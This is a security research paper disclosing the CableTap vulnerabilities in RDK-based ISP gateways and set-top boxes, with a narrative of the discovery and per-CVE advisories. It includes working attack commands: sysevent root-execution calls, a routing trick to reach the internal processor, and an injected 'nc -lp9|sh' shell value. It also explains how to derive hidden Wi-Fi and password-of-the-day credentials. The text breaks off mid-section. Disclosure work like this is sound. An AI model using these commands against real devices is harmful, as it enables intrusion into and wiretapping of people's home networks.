CableTap: Wirelessly Tapping Your Home Network

Marc Newlin
Bastille Networks
Atlanta, GA
marc@bastille.net
@marcnewlin

Logan Lamb
Bastille Networks
Atlanta, GA
logan@bastille.net

Christopher Grayson
Web Sight
Atlanta, GA
chris@websight.io
@_lavalamp

Version 0.2, July 27, 2017

Abstract

Our research revealed a wide array of critical vulnerabilities in ISP-provided, RDK-based wireless gateways and set-top boxes from vendors including Cisco, Arris, Technicolor, and Motorola. We demonstrated that it was possible to remotely and wirelessly tap all Internet and voice traffic passing through an affected gateway. We estimate tens of millions of ISP customers are affected by these findings.

Imagine for a moment that you want a root shell on an ISP-provided wireless gateway, but you're tired of the same old web vulns. You want choice. Maybe you want to generate the passphrase for the hidden Wi-Fi network, or log into the web UI remotely using hard-coded credentials.

Don't have an Internet connection? Not to worry! You can just impersonate a legitimate ISP customer and hop on the nearest public ISP hotspot. Once online, you can head on over to GitHub and look at the vulnerability fixes that haven't been pushed to any customer equipment.

This paper details the research process that lead to the discovery of the CableTap vulnerabilities, including technical details of each vulnerability.

Contents

The story of CableTap, as told by Marc

Project Genesis

After wrapping up work on MouseJack[1] and KeySniffer[2], I knew that I wanted to do more vulnerability research, but I didn't have a good sense of what types of devices would be worth exploring. I was still naively assuming that mature devices from industry giants were likely to be well locked-down, so at first, I hadn't considered my cable modem as a potential research target.

Then, in May 2016, I had the opportunity to attend Peter Geissler's talk, *In Stickers We Trust*[3], at Hack In The Box Amsterdam. Peter detailed his efforts to reverse engineer the ESSID and WPA2 key generation algorithm on the cable modem provided by his ISP. He demonstrated that the serial number of the modem was used to generate the ESSID and WPA2 key, and that it was possible to recover the serial number from the ESSID, enabling you to generate the WPA2 key.

I figured that my ISP-provided cable modem was probably doing something similar, so I decided I would investigate when I had the free time, which ended up being seven months later in December 2016. I still don't know how the default WPA2 key is generated on my modem, but the efforts to find it lead me down a rabbit hole with 26 CVEs at the bottom.

Initial Progress

Just before Christmas in 2016, I needed to drop my keys off at Chris Grayson's house so he could take care of my cats while I was out of town. I was a few days into the project at this point, and had just starting to get a rough handle on RDK[4] (the ubiquitous mostly-open-source software stack for ISP-provided wireless gateways).

Chris's background in pentesting meant that, unlike me, he knew about things like netcat, nmap, and how to read an IPv6 address. So, when I stopped by to drop off my keys, I started picking Chris's brain about web app security, and it turned out that he was a former customer of the same ISP, and had also poked at his wireless gateway once upon a time (which unfortunately didn't yield any vulnerabilities).

By the end of that first night, we had successfully exploited a command injection vulnerability[5] in the web UI ping utility, and pulled off the filesystem from the big-endian ARM Linux instance on the gateway. (There is also an Atom processor powering a second Linux instance – more on that later.)

Finding the XHS Network

The whole point of this project (at least initially) was to learn how the default Wi-Fi credentials get generated, so once Chris and I had pulled off the filesystem from the ARM Linux instance, I started looking for clues about how the Wi-Fi networks were configured. I didn't know it yet, but my wireless gateway had two Linux instances: an ARM-based "Application Processor" (AP), and an Atom-based "Network Processor" (NP). The wireless network interfaces, as well as the *hostapd* and *wpa_supplicant* configuration files live on the NP side, so I was a bit confused at first, questioning whether or not I had missed something when pulling off the filesystem.

Eventually I started grepping around for the SSID of my private Wi-Fi network, and discovered a pair of configuration files which contained all manner of usernames, passwords, network configurations, and the like. Parsing these files, which included Wi-Fi network configuration details, I discovered what appeared to be an active, hidden Wi-Fi network on my gateway, with an SSID in the format of `XHS-XXXXXXXX`, where `XXXXXXXX` represents the lower four bytes of my modem's CM (cable modem) MAC.

The passphrase for this hidden network was an 18 character hex string, so the whole thing felt pretty generated to me. I shifted my focus to this hidden Wi-Fi network, and after grepping around for things like *XHS*, *calculate*, *generate*, *key*, *psk*, *wpa*, and the like, I stumbled across a library containing a function named CalculatePSKKey.

As it turned out, this library contained fairly granular and verbose logging, so I was able to follow the flow of logic by reading the output of running *strings* on the binary. It appeared that CalculatePSKKey consumed a MAC address, a seed, and produced a PSK key, which I suspected was the hidden Wi-Fi network key. After setting up a cross-compilation toolchain, and going through a fair amount of trial and error, I successfully compiled a command line binary to invoke CalculatePSKKey, consume the CM MAC, and produce the same PSK key I saw in the configuration files.

This was a satisfying find. While it wasn't a mechanism to generate the default passphrase for the private Wi-Fi network, it yielded procedurally generated Wi-Fi credentials nonetheless. The one showstopper was that the CM MAC was required in order to generate the SSID and passphrase. It is printed on the bottom of each wireless gateway, but is otherwise hidden from view.

The BSSIDs of the private, hidden, and public (`xfinitywifi`) networks are in different ranges from the CM MAC, so that was a no go. Luckily, I discovered a number of ways to retrieve the CM MAC.

1. When I connected to a public `xfinitywifi` network, the DHCP ACK included the CM MAC of the gateway I was connecting to. (CVE-2017-9477).
2. The FQDN of the VoIP IPv4 interface includes the VoIP MAC, which is offset from the CM MAC by two bytes. The FQDN also includes a region identifier, so it is possible to generate a list of all the hidden wifi network SSIDs and passphrases in a given geographical area. (CVE-2017-9478).
3. The gateway periodically transmitted an unencrypted IPv6 multicast packet containing the CM MAC. (CVE-2017-9484).

Finally, if the SSID of the default private wifi network has not been changed, it is possible to brute-force the CM MAC in a reasonable amount of time. The default private wifi networks are `HOME-XXXX-2.4` and `HOME-XXXX-5`, where `XXXX` represents the last two octets of the CM MAC. From there, it is only a 16-bit search space to brute force, via probe requests, the next two octets in the hidden `XHS-XXXXXXXX` SSID. Once the SSID of the hidden network is known, it is another 16-bit search space to brute force, via authentication attempts, the remaining two octets in the CM MAC.

Enter FastCGI

The problem with the hidden Wi-Fi network, at least initially, was that we didn't really know how to leverage it. Free internet is cool, but code execution is better. Unfortunately, the administrative web UI was inaccessible from the hidden Wi-Fi network, so we couldn't use the command injection vulnerability in the web UI ping utility.

Ports 1026-1029, however, *were* accessible from the hidden Wi-Fi network. An *nmap* service detection scan couldn't identify the service, so we did some digging through configuration files, and discovered that it was FastCGI. I only had a vague idea of FastCGI being some sort of proxy between a web server and interpreter, and as it turned out, these were the FastCGI instances used by the web server running the web UI.

I had a bit of a lightbulb moment, prototyped some code to execute the web UI ping vulnerability by directly calling FastCGI, and was able to demonstrate code execution from the hidden Wi-Fi network. Now we had an attack chain to achieve unauthenticated RCE. I shared this news with Chris, and he quickly discovered that more than being a way to hit the web UI, FastCGI provided arbitrary file read for the entire AP file system.

When you (or a web server) requests a file from FastCGI, the server does the following:

1. Read the file from disk
2. Run the file through a PHP (or other) interpreter
3. Output the results

PHP files are processed per usual, but files containing no PHP code are output unaltered. The FastCGI server was not configured with any access controls or path limitations, so it was possible to read arbitrary files on the AP file system. Chained with a session cookie arbitrary file write vulnerability we later discovered (CVE-2017-9485), it was possible to achieve root code execution through FastCGI. (There is one user on the affected devices, and that user is root.)

Bringing in Logan

Chris and I were making strides, but we lacked the hardware expertise needed to dump the firmware from the gateways in which we hadn't discovered any application or network vulnerabilities. We brought Logan Lamb into the fold, and soon he was hard at work pulling flash chips off of second-hand modems, wiring up JTAG/UART interfaces, and thoroughly exercising his hardware hacking prowess.

While we didn't find any new code execution vulnerabilities as a direct result of Logan's hardware exploration, we discovered that many of the older gateways run monolithic RTOSes, compared to the Linux OSes driving newer models.

Getting to the Network Processor

As Logan worked on the hardware front, I kept digging further and further into the software and network stack running on my wireless gateway. I had seen a few references to ARM (Application Processor) and Atom (Network Processor) IP addresses, but it wasn't apparent where this Atom Linux instance lived.

From what I could tell from the various configuration files, the internal ARM IP address was 169.254.101.1, and the internal Atom IP address was 169.254.101.2. From a shell on the ARM side, it was possible to ping the internal Atom IP address, but neither were accessible to computers on the LAN.

One LAN-facing IP address, 10.0.0.254, did not appear to belong to any devices connected to the LAN, and it was not present in the network configuration on the ARM side, so it looked promising that it might belong to the Atom side. I was still pretty clueless about Linux networking, but after a few days of reading over documentation, I discovered the magic of static routes.

```
$ sudo ip route add 169.254.101.2 via 10.0.0.254
```

Running this command on a computer connected to the LAN or private Wi-Fi network made it possible to ping the internal NP ip address (169.254.101.2). After many hours of pouring over source code on GitHub, reading RDK documentation, and parsing configuration files on my modem, I discovered how to enable a Telnet server on the Network Processor.

It turned out that the service running on port 52367, which was accessible to the LAN, private Wi-Fi network, and hidden Wi-Fi network, was called *syseventd*[6], and included command execution as a feature. Running the following two *sysevent* client commands, from a computer on the network, will cause the *syseventd* service on the Application Processor to make a DBus call to the Network Processor, instructing it to spin up a Telnet server.

```
$ *sysevent* --port 52367 --ip 10.0.0.1 async eRT \
           /fss/gw/usr/ccsp/dmcli Device.WiFi.X_CISCO_COM_EnableTelnet bool true
$ *sysevent* --port 52367 --ip 10.0.0.1 set eRT setv
```

Now we have a Telnet server running on the Atom (NP) side of the gateway, which we can connect to from a computer on the LAN or private Wi-Fi.

Unfortunately, the credentials for this Telnet server were not known, and none of the hard-coded or generated credentials from the ARM side of the gateway worked here. In order to understand what was going on, I used one of the command execution paths on the ARM side to *dd* off all of the unmounted partitions on the flash, piped into *netcat*, and destined for a computer on the private Wi-Fi network.

I was able to recover the `/etc/passwd` file in use on the Atom side, and thanks to sheer luck, my first attempt at using *John the Ripper* yielded a password for the *root* user, which, as it turned out, was hard-coded across multiple gateway models. Now we had unauthenticated, remote attack chains leading to root shells on both the Application Processor and Network Processor.

Expanding to Set-Top Boxes

With both Linux instances on my gateway fully compromised, we set our sights on my set-top box. In a departure from the gateway research, which was largely accomplished with Chris, Logan and myself working independently, we found time to take on the set-top box as a team. It proved to be better locked-down than the gateways, but our persistence eventually paid off.

My set-top box included its own DOCSIS modem, operating independently of my wireless gateway. This meant that we were unable to speak to the set-top box over the LAN, so we needed to get creative.

My ISP provides a web service that enables you to display websites in a web browser on your TV, using your set-top box. To invoke the service, you visit the service's website, enter a URL into a form, sign-in with your ISP account credentials, and the target website is then displayed on your TV. We quickly discovered that it was possible to connect a USB keyboard and mouse to the set-top box, and use these input devices to interact with the web browser.

We didn't find any web browser vulnerabilities, but discovered that we could leverage this service to remotely access the administrative web UI of a target wireless gateway. While researching the wireless gateways, we noticed that the web UI was configured to allow connections coming from the *wan0* (ISP-facing) network interface, using either hard-coded or

daily-generated credentials. The *wan0* network interface cannot be accessed over the public internet, but we suspected that it might be accessible to the set-top box.

To test our theory, we navigated the set-top box web browser to the IPv6 address of a wireless gateway belonging to a customer in another state. We generated the IPv6 address by asking the customer for their CM MAC, from which it is derived. Before attempting this, we received express permission from the account owner to remotely login to their gateway. Our test was successful, and we were able to use the web browser on my set-top box, combined with either hard-coded or daily-generated credentials, to remotely login to the target wireless gateway.

This was a good find, but we weren't any closer to a root shell on my set-top box. The keyboard and mouse were still attached, so I decided to try some HAF (Human Actuated Fuzzing), using the keyboard as an input device. Before long, I had discovered key sequences to perform two important actions:

1. Enable an internet-facing WebKit remote inspector
2. Display a diagnostics menu on the TV

After enabling the remote web inspector, we were able to access it over the public internet, using the DOCSIS IPv6 address we learned from the diagnostics menu. We quickly discovered that the set-top box user interface is rendered in a web browser, and inferred that the remote web inspector must exist for debugging purposes.

We were able to browse the source and DOM elements, but the javascript console didn't seem to be working; it would display debug output, but did not appear to accept any of our commands. After a few evenings of debugging the remote web inspector client and scouring the internet for clues, we discovered that the version served up by the set-top box was not compatible with modern Chrome. As soon as we spun up a VM with an older version of Chrome, the javascript console started working, and we were in business.

The diagnostics menu is served up by its own instance of lighttpd, which is not normally accessible from the remote web inspector. While the diagnostics menu is actively displayed on the TV, however, we found that we were able to make AJAX calls to the diagnostics menu backend scripts, directly from the remote web inspector javascript console.

One of the CGI scripts used by the diagnostics menu was designed to read a file from disk, and return the file contents in an HTTP response. We were able to use this script to read arbitrary files from the set-top box file system, quickly gaining a better understanding of what was going on under the hood. This lead us to the next big discovery, which was a root command execution vulnerability in another CGI script.

We now had internet-facing arbitrary file read and root command execution vulnerabilities on a set-top box, but the attack chain still required physical access to the set-top box in order to enable the remote web inspector and diagnostics menu. This would not be a problem for long.

Enter RF4CE

RF4CE (Radio Frequency for Consumer Electronics) is a ZigBee specification used in RF remote controls, including the voice remote available from my ISP. In order to pair a new remote with a set-top box, the user first initiates a pairing attempt by pressing a specific key-sequence on the remote. The set-top box then displays a 3-digit pin-code on the TV, which the user must enter successfully for the remote to be paired.

Logan discovered that there was no rate limiting on the pairing process, successfully implemented a Teensy and ADF7242-based RF4CE transceiver capable of pairing with a set-top box. Soon, he was successful in force-pairing a spoofed remote with a set-top box, which took approximately two hours to complete.

While Logan built out the RF4CE functionality, I continued exploring the set-top box filesystem, and found that it was also possible to launch the remote web inspector and diagnostics menu using a paired remote. This meant that an attacker could force-pair a spoofed RF4CE remote with a victim's set-top box, use the remote to enable the remote web inspector and diagnostics menu, and then achieve root command execution without needing physical access to the box, provided the IPv6 address was known.

Logan also discovered that the voice remotes support over-the-air firmware updates, and that the updates are not signed, making it possible to push malicious over-the-air firmware updates to a paired RF4CE voice remote, once the set-top box it is paired with has been compromised.

Disclosure

We disclosed the CableTap vulnerabilities to the affected vendors in four groups starting on March 26th, 2017, with public disclosure on July 27th, 2017.

RDK

Overview

RDK[4] is a mostly[1] open-source software software stack running on more than 25 million[2] wireless gateways and set-top boxes worldwide. RDK is maintained by RDK Management, LLC, a consortium comprised of Comcast, Time Warner, and Liberty Global[9]. RDK was founded in 2013 by Comcast and Time Warner[10].

There are over 300[11] RDK community members, consisting of SoC providers, OEMs, application developers, and system integrators, and after executing the RDK License Agreement, community members are given access to RDK components not available to the public[12].

Open Source Software

There are two primary variants of RDK:

1. RDK-B (RDK for broadband), which runs on wireless gateways (Wi-Fi cable modems)
2. RDK-V (RDK for video), which runs on set-top boxes

The open-source components of RDK (both RDK-B and RDK-V) are hosted in git repositories at code.rdkcentral.com[13], and mirrored to GitHub[14]. RDK Management hosts a Gerrit issue tracker on code.rdkcentral.com[15].

Complete build scripts are not included with RDK Management's release of RDK, however circa 2015 build scripts can be found with the Cisco Belvedere release of RDK-B.[16]

Official RDK documentation is available on the RDK Central Wiki[17], and further documentation is included with the Cisco Belvedere release of RDK-B[18].

Known Affected RDK Hardware

We exmined RDK-based wireless gateways, set-top boxes, and voice remotes from five vendors. A list of the specific devices we found to contain vulnerabilities can be found in Known Affected Devices. This is not intended to be an exhaustive list of vulnerable RDK devices or ISPs, and was constrained by the specific devices and service providers we had access to.

[1] Some RDK components are only available to paying members.[7]

[2] "RDK Management believe there are currently 'dramatically more' than 25 million devices worldwide running RDK software solutions deployed by operators."[8]

Vulnerabilitiesf

CVE-2017-9475: Public AP Authentication Bypass

Bastille Tracking Number 17

Xfinity customers can access the Internet when they are not at home, through any one of more than 15 million[19] public `xfinitywifi` hotspots.

When an Xfinity customer connects to a public `xfinitywifi` hotspot on a previously unregistered device, they are prompted to login to their Xfinity account in order to access the internet. The Wi-Fi MAC address of customer's device is then associated with their Xfinity account.

The next time the customer connects their device to any public `xfinitywifi` hotspot, it is authenticated using the Wi-Fi MAC address, and the device is immediately granted Internet access.

An attacker can impersonate an Xfinity customer by wirelessly sniffing the MAC address of a customer's device which is connected to, and authenticated on, a public `xfinitywifi` hotspot. An attacker can then configure their device to use the same MAC address, and connect to any public `xfinitywifi` hotspot.

This enables an attacker to access the Internet for free, and attribute any malicious activity to the customer they are impersonating.

Vendor Disclosure

03/27/2017

Public Disclosure

07/27/2017

Known Affected Devices

- XFINITY WiFi Home Hotspot[20] (`xfinitywifi`)

CVE-2017-9476: Hidden AP with Deterministic Credentials

Bastille Tracking Number 18

Many residential gateways include a hidden home security Wi-Fi network, which is active regardless of whether or not the customer is subscribed to this service. There is a deterministic way to generate the hidden SSID and passphrase for this network from the CM (cable modem) MAC.

This vulnerability enables an attacker to connect to a hidden Wi-Fi access point running on a target gateway, and enables an attacker to access the Internet for free, and attribute any malicious activity to the ISP customer they are targeting. There were also network services identified which can be exploited from the hidden Wi-Fi network to achieve arbitrary file read and root command execution.

In order to generate the SSID and passphrase of the hidden home security Wi-Fi network, it is first necessary to obtain the CM MAC of the target device. There are several methods to accomplish this without physical access to the device (CVE-2017-9477, CVE-2017-9478, CVE-2017-9484).

Once the CM MAC of a target device is known, the SSID and passphrase of the hidden Wi-Fi network can be trivially generated. Assuming a MAC address of `00:11:22:33:44:55`, the SSID is `XHS-22334455`.

The corresponding passphrase can be generated using one of two binaries found on some of the affected devices.

Method 1: Shared Library

A shared library on some of the affected gateways exports a method named CalculatePSKKey. It is possible to generate the hidden home security network passphrase by dynamically linking a custom binary against the shared library in question, and passing the CM MAC into CalculatePSKKey, which then returns the passphrase.

Method 2: Command Line Utility

Other gateways include a command line utility which is used to generate the same passphrase, and is invoked as follows:

```
$ /path/to/binary -m [CM MAC]
```

Vendor Disclosure

03/27/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

CVE-2017-9477: Public Access Point Leaks CM MAC

Bastille Tracking Number 19

When a user connects to a public `xfinitywifi` hotspot on an affected gateway, the CM MAC, which is not normally known, is included in the DHCP ACK. This CM MAC can then be used to generated credentials for the hidden home security Wi-Fi network present on many residential gateways.

Vendor Disclosure

03/27/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST

CVE-2017-9478: eMTA Reverse DNS CM MAC Discovery

Bastille Tracking Number 20

The MTA (VoIP) network interface on affected devices has a MAC address in the same range as the CM MAC. The MTA MAC has been observed to be offset by two bytes from the CM MAC. The FQDN of the MTA IPv4 address includes the MTA MAC address, in the following format:

`m001122334455.atl6.ga.comcast.net`

This turns into the following CM MAC, by subtracting two from the last octet in the MTA MAC:

`00:11:22:33:44:53`

Using a reverse DNS database, it is possible to enumerate all of the MTA MAC addresses in a given region. (Subdomains of atlX.ga.comcast.net, for instance, would yield a list of possible CM MACs in Atlanta.)

An attacker can then generate a list of possible hidden home security Wi-Fi networks in their region.

Vendor Disclosure

03/27/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

CVE-2017-9522: Weak / Discoverable Default Wi-Fi Credentials

Bastille Tracking Number 21

The default Wi-Fi passphrase on affected devices is a combination of the SSID and BSSID, making it trivial for an attacker to connect to a Time Warner customer's Wi-Fi network.

Default Wi-Fi credentials are configured as follows:

```
SSID        TC8717T66
BSSID       00:11:22:33:44:55
Passphrase  TC8717T334466
```

By observing a beacon frame, which contains the SSID and BSSID, an attacker is able to generate the passphrase and connect to the customer's private Wi-Fi network.

Vendor Disclosure

03/27/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Technicolor TC8717T (Time Warner)

CVE-2017-9479: Root Command Execution (sysseventd)

Bastille Tracking Number 22

The *sysseventd*[6] service provides a mechanism to launch applications in response to certain events, such as the one-minute cron job firing. The *sysevent* command line application is used to communicate with the *sysseventd* server running on port 52367. It was discovered that this service, which was open to the LAN, private Wi-Fi network, and hidden home security Wi-Fi network, can be used to execute arbitrary commands as root.

For example usage, please see CVE-2017-9480 and CVE-2017-9482.

Vendor Disclosure

03/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

CVE-2017-9480: UPnP HTTP Directory Write

Bastille Tracking Number 23

One of the UPnP services running on the affected gateways serves XML files from the directory `/var/IGD`[21] on the ARM Linux instance. An attacker with the ability to execute commands (CVE-2017-9479) can copy files to this directory, and then download them over HTTP, from their LAN, private Wi-Fi network, or hidden home security Wi-Fi network.

By first compiling the *sysevent*[6] command line utility from the rdkb-Utopia repository, an attacker can interact with the sysseventd service (running on the target gateway), from a separate, network-connected computer. Executing the following two commands will copy the target file to the `/var/IGD` directory, enabling the the file to be downloaded over HTTP.

```
$ ./sysevent --port 52367 --ip <gateway-ip-address> async </path/to/file> /bin/cp
$ ./sysevent --port 52367 --ip <gateway-ip-address> set </path/to/file> /var/IDG/<file>
```

This file can then be downloaded at the following URL:

`http://<gateway-ip-address>:49153/<file>`

This chain an be used to retrieve arbitrary files from the ARM Linux instance on the gateway.

Vendor Disclosure

03/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

CVE-2017-9481: Network Processor CPU Internal IP Accessible from LAN

Bastille Tracking Number 24

Affected Devices contain both an Application Processor (AP) ARM Linux instance, and a Network Processor (NP) Atom Linux instance. The NP Linux instance includes the following two IPv4 addresses:

```
LAN       10.0.0.254
Internal  169.254.101.2
```

The LAN facing address is accessible to computers connected over Ethernet or the private Wi-Fi network, and is used to host a UPnP server. The internal address is not intended to be accessed by end users, and appears to be used for RPC, Telnet, and DBus.

An attacker can communicate with the internal address by manually routing through the NP LAN address[22], as follows (Ubuntu):

```
$ sudo ip route add 169.254.101.2 via 10.0.0.254
```

The attacker's computer can now communicate directly with the NP internal IP address from the external computer on the LAN or private Wi-Fi network. This route can be used to connect to a Telnet server running on the NP linux instance when combined with CVE-2017-9481.

Vendor Disclosure

03/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST

CVE-2017-9482: Network Processor CPU Hard-coded Telnet Credentials

Bastille Tracking Number 25

Once an attacker has achieved command execution on the Application Processor (AP) ARM Linux instance, it is possible to spin up a Telnet server on the NP Linux instance. This can be achieved using CVE-2017-9479 as follows:

```
$ ./sysevent --port 52367 <gateway-ip-address> async eRT \
             /fss/gw/usr/ccsp/dmcli Device.WiFi.X_CISCO_COM_EnableTelnet bool true
$ ./sysevent --port 52367 <gateway-ip-address> set eRT setv
```

After running these commands, a Telnet server is running on the NP internal IP address, which is not normally accessible to clients on the LAN. However this can be routed to via the NP LAN IP address (CVE-2017-9481).

The NP linux instance contains hardcoded root Telnet credentials, which were recovered using John the Ripper. When these credentials are known, an attacker then gains a root shell on the NP Linux instance.

Vendor Disclosure

03/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST

CVE-2017-9483: Root Command Execution (DBus)

Bastille Tracking Number 26

Once an attacker has gained a root shell on the NP Linux instance on an affected gateway (CVE-2017-9482), they can exploit a vulnerability in the DBus handler running on the AP Linux instance to execute commands as root.

A previously patched vulnerability (CVE-2015-6361) enabled command execution via the *ping* utility in the web UI. When a user uses the *ping* utility, a series of DBus calls are invoked to generate the command line arguments for the

Linux ping utility. After the patch was applied, this vulnerability was no longer exploitable from the web UI, but it was discovered that it could still be exploited by invoking the DBus calls directly.

The *interface* input field is not properly sanitized, and can be used to inject up to 13 characters into the final *ping* shell command. Executing the following three commands from the NP Linux instance shell will cause the file `/tmp/test` to be generated on the AP Linux instance:

```
$ dmcli eRT setv Device.IP.Diagnostics.IPPing.Interface string "\`nc -lp9|sh\`"
$ dmcli eRT setv Device.IP.Diagnostics.IPPing.DiagnosticsState string Requested
$ echo "touch /tmp/test" | nc <ap-linux-lan-ip-address> 9
```

This technique can be used to gain a root shell on the AP CPU by disabling the firewall and starting a new Dropbear instance, which can be authenticated using a password-of-the-day (CVE-2017-9486).

Vendor Disclosure

03/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey

CVE-2017-9484: IPv6 CM MAC Leak

Bastille Tracking Number 27

The CM MAC of affected gateways is not normally known, and can be used to generated the SSID and passphrase of the hidden home security Wi-Fi network.

Every ~4 seconds, the gateway transmits a 156 byte 802.11 IPv6 multicast packet, with the source address set to the MAC address of the `l2sd0.500` network interface on the gateway. This was observed to differ from the CM MAC as follows:

```
l2sd0.500  11:22:33:44:55:66
CM MAC     0F:22:33:44:55:63
```

As illustrated above, the CM MAC can be found by subtracting the first two bytes from the first octet of the `l2sd0.500` MAC, and subtracting three bytes from the last octet of the `l2sd0.500` MAC.

Once an attacker knows the CM MAC, they can proceed to generate the SSID and passphrase of the hidden home security Wi-Fi network.

Vendor Disclosure

04/20/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST

CVE-2017-9485: Session Cookie Arbitrary File Write

Bastille Tracking Number 28

The RDK-B web UI includes a development mode, which can be enabled by creating the file `/var/ui_dev_mode` on disk. When the development mode is enabled, the normal authentication logic is bypassed[23], and any password will be accepted for any valid username.

```
if (file_exists("/var/ui_dev_mode")) {
  $_SESSION["timeout"] = 100000;
  if ($_POST["password"] == "dev") {
    if ($_POST["username"] == "mso") {
      header("location:at_a_glance.php");
    }
    elseif ($_POST["username"] == "cusadmin") {
      header("location:at_a_glance.php");
    }
    elseif ($_POST["username"] == "admin") {
      header("location:at_a_glance.php");
    }
    return;
  }
}
```

If the username is not valid, the script will return without deleting the session cookie. An attacker can therefore enter arbitrary data into the *username* field posted to `check.php`, and the session cookie will be written to the following path:

`/var/tmp/sess_<PHP Session ID>`

The PHP session ID is included in the login attempt HTTP response, giving the attacker control of the contents of a file at a known location on the gateway. This can be combined with the FastCGI exploit (CVE-2017-9521) to achieve root code execution.

Vendor Disclosure

04/20/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST

CVE-2017-9486: Password of the Day Generation

Bastille Tracking Number 29

Comcast wireless gateways use a POTD (password-of-the-day) to authenticate SSH/CLI sessions, as well as the "mso"[24] user in the web UI.

The POTD is generated by a binary[25][26] present on the gateway, and is based on the current system date. An attacker can generate a list of future POTDs by sequentially changing the system date, and running the binary which generates the POTD.

Once the POTD for the current date is known, an attacker can use this to remotely login to the web UI of a target gateway (CVE-2017-9488), or to authenticate with a Dropbear instance on the gateway.

Vendor Disclosure

04/20/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

CVE-2017-9487: IPv6 wan0 Generation from CM MAC

Bastille Tracking Number 30

The `wan0` interface on affected gateways faces the Comcast network, and its IPv6 address has been observed to be generated from the gateway's CM MAC. With knowledge of the CM MAC (CVE-2017-9477, CVE-2017-9478, CVE-2017-9484), an attacker is able to generate the target `wan0` IPv6 address. Knowledge of the `wan0` IPv6 address enables an attacker to remotely log into the web UI on the target gateway (CVE-2017-9488).

The `wan0` IPv6 address is generated based on the CM MAC of a given gateway and a region identifier.

Given the following inputs:

```
Region identifier  40:11 (Atlanta)
Unknown octet      53 (It's unknown how this is defined, but it can be trivially brute-forced.)
MAC address        11:22:33:44:55:66
```

The following IPv6 address is generated:

```
2001:0558:4011:0053:1122:33FF:FE44:5566
```

This IP address can then be used to login to the target gateway's web UI (CVE-2017-9488).

Vendor Disclosure

04/20/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

CVE-2017-9488: Remote Gateway Web UI Admin Access via STB Browser

Bastille Tracking Number 31

A vulnerability in the administrative web UI on affected gateways makes it possible to use the Xfinity Send-to-TV service to remotely access the web UI on a target gateway.

When a connection request comes into the web UI on the `wan0` network interface, it is possible to log in with either hardcoded credentials, or daily generated credentials. There are normally two barriers which prevent attackers from accessing this web UI:

1. The IPv6 address of the `wan0` interface on a target gateway must be known.
2. The `wan0` interface cannot be accessed from the public internet.

The IPv6 address can be obtained from the CM MAC (CVE-2017-9487).

The Xfinity Send-to-TV service enables end users to view websites in a web browser on their TV, through their set-top box. Send-to-TV is used as follows:

1. Using a computer or smartphone, the user navigates to `https://www.xfinity.com/sendtotv/`.
2. The user enters a URL into the Send-to-TV website, and is then prompted for their Xfinity credentials.
3. The URL they entered into the Send-to-TV website is then displayed on their TV, through their set-top box.

